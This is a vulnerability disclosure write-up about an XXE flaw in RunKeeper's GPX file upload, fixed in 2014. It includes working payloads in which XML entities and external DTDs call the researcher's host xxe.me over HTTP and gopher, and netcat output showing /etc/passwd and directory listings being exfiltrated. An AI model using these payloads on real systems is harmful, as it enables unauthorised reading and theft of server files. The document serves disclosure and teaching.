Identifying Xml eXternal Entity vulnerability (XXE)

Here is a small writeup on how a XXE was discover on the website RunKeeper.com. The website, as the name suggest, keep track of your trainings (running, cycling, skying, etc.) The vulnerabilities presented were fixed on June 10th 2014.

The website accept the upload of GPX file. The GPX file format is a XML document containing a list of positions with the instant speed, time and elevation.

GPX file

Here is an example of GPS file in the GPX format. The only important aspect is that it is XML based.

  2014-06-07T20:04:44.453Z
  
  
    
      
        22.600000
        2014-06-07T18:06:16Z
        0.000000
      
      
        22.600000
        2014-06-07T18:06:16Z
        0.000000
      
      [...]
      
   

Attack potential

When seeing user XML being parse server-side, the first thing that come to mind should be XXE attacks. XXE stands for Xml eXternal Entity. These attacks have gain momentum recently following various publications.

Note that the current article doesn't explain in dept XXE. It focus on tips and methodology to identify the vulnerability and the parser capabilities. The tests presented are those that were effective on the old version of RunKeeper.

Step 1 : Confirmation that entities are interpreted

In our first attempt, we need to confirm that entity are interpreted in there most basic form. We replace value with an inline entity. If it loads properly, then the replacement must have occurs.

<!DOCTYPE gpx [<!ENTITY xxe "35.460997739" > ]>

  2014-06-07T20:04:44.453Z
  
  
    
      
        22.600000
        2014-06-07T18:06:16Z
        0.000000
      
   

Step 2 : Confirmation that SYSTEM entities are usable

We can now try loading external resources from a host we control. The resources can be hosted on a HTTP server, FTP server or even Samba shares in the case of intranet application.

RunKeeper only look at position, time and other numeric values. The string values from the metadata are not used. Therefore, it is not possible to get a direct response after the upload of a GPX file.

If the destination is a server we control, we would receive a connection if external entities are activated. Assuming a strict firewall restrictions is in place, all common ports should be tested (23, 80, 443, 8080, ...).

evil.gpx

<!DOCTYPE gpx [<!ENTITY xxe SYSTEM "http://xxe.me/ping_me" > ]>

  &xxe;
  2014-06-07T20:04:44.453Z
  
  
    
      
        22.600000
        2014-06-07T18:06:16Z
        0.000000
      
   

Right after the upload, our server receive the following request. SYSTEM entities are now confirm.

74.50.53.234 - - [08/Jun/2014:00:36:55 -0400] "GET /ping_me HTTP/1.1" 200 77 "-" "Java/1.6.0_26"

Step 3 : Test for external DTD availability to exfiltrate data

A cool trick was discovered by the researchers Alexey Osipov and Timur Yunusov that allow the construction of URL with data coming from other entities.

evil1.gpx

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE gpx [ 
 <!ENTITY % file SYSTEM "file:///etc/issue">
 <!ENTITY % dtd SYSTEM "http://xxe.me/evil1.dtd">
%dtd;]>

  &send;
   [....]

http://xxe.me/evil1.dtd

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://xxe.me/content?%file;'>">
%all;

Following the upload, we then received the following request:

74.50.62.56 - - [08/Jun/2014:00:51:41 -0400] "GET /content?Debian GNU/Linux 7 \x5Cn \x5Cl HTTP/1.1" 200 251 "-" "Java/1.6.0_26"

In pratice, the previoust technique is not perfect. Any file with XML incompatible characters (&, \n, \x80, etc) would break the URL. The /etc/issue is one of the rare file safe to include.

Step 4 : Test for external DTD with gopher protocol

We still have an option to fetch arbitrary file. A good observer would have notice that the remote JVM version was capture on step 1. The version is Java 1.6 update 26. The gopher protocol was disable on version 1.6 update 37 [Ref].The gopher protocol can be use to open a TCP connection and send arbitrary data.

gopher://remote_host:remote_port/?ARBITRARY_DATA

evil2.gpx

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE gpx [ 
 <!ENTITY % file SYSTEM "file:///etc/passwd">
 <!ENTITY % dtd SYSTEM "http://xxe.me/evil2.dtd"> 
%dtd;]>

  &send;
   [....]

http://xxe.me/evil2.dtd

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'gopher://xxe.me:1337/xxe?%file;'>">
%all;

Following the upload of the first file, an incoming connection is open and the file content is received.

$ nc -nlvk 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [74.50.53.234] port 1337 [tcp/*] accepted (family 2, sport 42321)
xe?root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
[...]

Files can be fetch and directory can be list. For example, the entity "file:///" will return the root directory:

$ nc -nlvk 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [74.50.58.179] port 1337 [tcp/*] accepted (family 2, sport 52827)
xe?.rpmdb
.ssh
bin
boot
dev
etc
home
initrd.img
lib
lib32
lib64
lost+found
media
mnt
opt
proc
root
sbin
selinux
[...]

Demonstration

Demonstration of the attacks described previously. (Fullscreen recommended)

Mitigations

To resolve this issue two changes needed to be applied. SYSTEM entities were disable for the parsing of GPX files. Also, the Java Virtual Machine was updated to benefit from the previous security updates including the gopher protocol being disable by default.

References

• Attacking XML Preprocessing : Presentation by Nicolas Grégoire at HackInTheBox 2012
• What You Didn't Know About XML External Entities Attacks: Presentation by Timothy Morgan at AppSecUSA 2013
• Compromising an unreachable Solr server with CVE-2013-6397: Vulnerability found by Nicolas Grégoire
• XML Schema, DTD, and Entity Attacks: Excellent reference on the attack variations written by Timothy D. Morgan (Virtual Security Research)
• XML Out-of-Band Data Retrieval: Presentation by Alexey Osipov and Timur Yunusov at BlackHat USA 2013
• XXE OOB exploitation at Java 1.7+: Alternative method to exfiltrate data without the gopher protocol presented by Ivan Novikov.